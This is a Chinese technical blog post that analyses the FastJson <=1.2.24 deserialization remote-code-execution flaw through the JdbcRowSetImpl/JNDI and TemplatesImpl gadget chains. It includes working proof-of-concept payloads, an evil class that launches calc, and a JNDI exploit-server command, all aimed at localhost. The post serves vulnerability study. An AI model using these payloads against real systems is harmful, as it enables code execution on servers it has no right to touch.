【技术分享】FastJson<=1.2.24RCE双链详细分析

VSole2022-03-21 08:25:25

最近在学习FastJson,阿里这个开源的JSON解析库,了解到他被频繁爆出漏洞,于是我做了详细的fastjson漏洞史分析。本文只涉及<1.2.25版本的RCE的两种利用方式,后续会补充其他漏洞。

 0x01 FastJson简单使用

序列化是把java对象转为json字符串,反序列化即为把json字符串转为java对象,这样就方便进行传输或者存储。之前有人对比过java序列化、fastjson和jackson等序列化反序列化的速度,fastjson快的同时也带来一些安全问题。写一个简单的例子演示一下反序列化的使用。

//fastjson.javapackage test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;public class fastjson {public static void main(String args[]){        String obj = "{\"@type\":\"test.Student\",\"name\":\"zzZ\",\"age\":111}";        Student obj1 = JSON.parseObject(obj, Student.class, Feature.SupportNonPublicField);        System.out.println("name:"+obj1.getName()+"age:"+obj1.getAge());    }}----输-出-name:zzZage:111//Student.javapackage test;public class Student {public String name;private int age;public String getName() {return name;    }public void setName(String name) {this.name = name;    }public int getAge() {return age;    }public void setAge(int age) {this.age = age;    }}

0x02 漏洞由来

fastjson的漏洞主要都是因为AutoType造成的,后续的修复和其他版本的绕过都围绕此来进行。

fastjson在进行序列化时会扫描目标的get方法,并将字段的值序列化到JSON字符串中。而当一个类中包含了一个接口(或抽象类)的时,在使用fastjson进行序列化的时候,会将其子类型抹去,只保留接口(或抽象类)的类型,这就导致及逆行反序列化时无法得到原始的类型。为了解决这个问题,fastjson在JSON字符串中添加了@type标识(AutoType功能),标注了类对应的原始类型,也就可以在反序列化的时候可以找到具体类型。

在1.2.25之前,AutoType是默认开启,而且没有任何防护,我们只需要传入一个恶意类,配合java反射机制和rmi或者ldap服务就可以实现RCE。在1.2.25中修复,添加了checkAutotype,被绕过后又不断丰富黑白名单直到今天。我们详细一点点分析。

 0x03 两条调用链分析

利用JdbcRowSetImpl类进行RCE

一、环境搭建

使用IDEA和JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(用来搭建rmi和ldap服务)。

新建maven项目后添加1.2.23版本fastjson的依赖,之后添加com.fj.learnFJ.java。

package com.fj;
import com.alibaba.fastjson.JSON;
public class learnFJ {public static void main(String args[]){String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +" \"autoCommit\":true}";JSON.parse(payload);        }}

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建服务。


java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1

二、调用分析

首先在JSON.parse(payload)下断点后运行

跟进后调用parse.parse来解析

因为是左大括号{,所以跳转到case LBRACE执行,并在1327行调用parseObject()反序列化

进入获取内容的for循环,并获得payload中第一个字符’”‘

获取引号后,获取其内容@type

之后进行第二个值的获取,得到类名

将调用deserializer.deserialze函数来处理反序列化数据,此时deserializer中已经包含了要实例化的类

之后fastjson会在内部处理jdbcrowsetimpl类。我们在JdbcRowSetImpl类setDataSourceName()处下断点,因为传入了DataSourceName,所以会进行调用

之后调用抽象父类BaseRowSet的setDataSourceName给dataSource赋值

之后会调用setAutoCommit(),其中调用了connect(),跟进

connect()中调用了look(),这里的getDataSourceName()就是我们传入的dataSourceName,跟进look看看

调用了getURLOrDefaultInitCtx(name).lookup(),跟进

在getURLOrDefaultInitCtx()内,调用getURLContext()请求ldap服务

之后通过getURLObject()从远程的ldap服务获取Context对象

在getURLObject()内调用factory.getObjectInstance(),完成反序列化,调用了payload

完整调用链:

利用TemplatesImpl类进行RCE

一、环境搭建

我们使用IDEA搭建即可。

添加maven依赖后,添加Poc.java

//Poc.java
package com.fj;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.maven.surefire.shade.booter.org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;
public class Poc {public static String readClass(String cls){        ByteArrayOutputStream bos = new ByteArrayOutputStream();try {            IOUtils.copy(new FileInputStream(new File(cls)), bos);        } catch (IOException e) {            e.printStackTrace();        }
String result = Base64.encodeBase64String(bos.toByteArray());
return result;    }
public static void poc() {        ParserConfig config = new ParserConfig();        final String fileSeparator = System.getProperty("file.separator");String path = "C:\\Users\\xxx\\Desktop\\code\\evil.class";String code = readClass(path);
        final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + CLASS +"\",\"_bytecodes\":[\""+code+"\"]," +"'_name':'a.b'," +"'_tfactory':{ }," +"\"_outputProperties\":{ }}";        System.out.println(text1);Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);    }
public static void main(String args[]) {        poc();    }}

添加evil.java,并用javac编译为evil.class。


//evil.java
package com.fj;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;
public class evil extends AbstractTranslet{public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {    }public evil() throws IOException {        Runtime.getRuntime().exec("calc");    }public static void main(String[] args) throws IOException {        evil obj = new evil();    }}

运行后弹出计算器。

二、调用分析

对于TemplatesImpl的payload,在高版本java中要开启Feature.SupportNonPublicField才能对非共有属性的反序列化处理,因此存在一定限制,而之前第一种方法中JdbcRowSetImpl利用几乎无限制。接下来简单分析下TemplatesImpl链的调用。

在parseObject()下断点后调式

跟第一种一样进入deserializer.deserialze() 进行反序列化

之后进入parseField()对json字符串中的一些key值进行匹配

在parseField()中调用smartMatch()对key值进行处理

之后进入fieldDeserializer.parseField()

在fieldDeserializer.parseField()中调用了setValue(),跟进

setValue()中method内方法为getOutputProperties(),并在后面通过反射机制调用,进入TemplatesImpl类

getOutputProperties()内调用newTransformer()会创建Transformer实例,我们跟进

在内部会调用getTransletInstance()创建实例之后返回给上层函数,我们跟进

在getTransletInstance()内,调用defineTransletClasses()遍历_bytecodes数组(判断是byte[]数组会自动base64解码,所以poc里需要进行base64编码),之后调用(AbstractTranslet) _class[_transletIndex].newInstance()实例化类,类定义的是静态方法,执行触发payload

0x04 结语

上面详细跟踪了两条链的利用方式,相信对于 <1.2.25漏洞的利用已经非常清楚了。

这次的漏洞修复方式是默认关闭AutoType的支持,添加了checkAutotype来判断是否符合要求,并添加了白名单和黑名单来防护AutoType是开启的情况。在之后又出现了各种绕过的姿势,下篇文章继续分析。

stringfastjson
本作品采用《CC 协议》,转载必须注明作者和本文链接
Java命名和目录接口是Java编程语言中接口的名称( JNDI )。它是一个API(应用程序接口),与服务器一起工作,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。 可以使用命名约定从数据库获取文件。JNDI为Java⽤户提供了使⽤Java编码语⾔在Java中搜索对象的⼯具。 简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。
漏洞分析花了蛮多时间
fastjson反序列化已经是近几年继Struts2漏洞后,最受安全人员欢迎而开发人员抱怨的一个漏洞了。
fastjson的漏洞主要都是因为AutoType造成的,后续的修复和其他版本的绕过都围绕此来进行。
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
java版本: java version "1.8.0_131" Java(TM) SE Runtime Environment (build 1.8.0_131-b11) Java HotSpot(TM) 64-Bit Server VM (build 25.131-b11, mixed mode)
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。 在进行fastjson的漏洞复现学习之前需要了解几个概念,如下:
Spring MVC是一种基于Java的实现了Web MVC设计模式的请求驱动类型的轻量级Web框架,即使用了MVC架构模式的思想,将web层进行职责解耦,基于请求驱动指的就是使用请求-响应模型,框架的目的就是帮助我们简化开发,Spring Web MVC也是要简化我们日常Web开发的
Fastjson 是阿里巴巴公司开源的一款 json 解析器,其性能优越,被广泛应用于各大厂商的 Java 项目中。fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
VSole
网络安全专家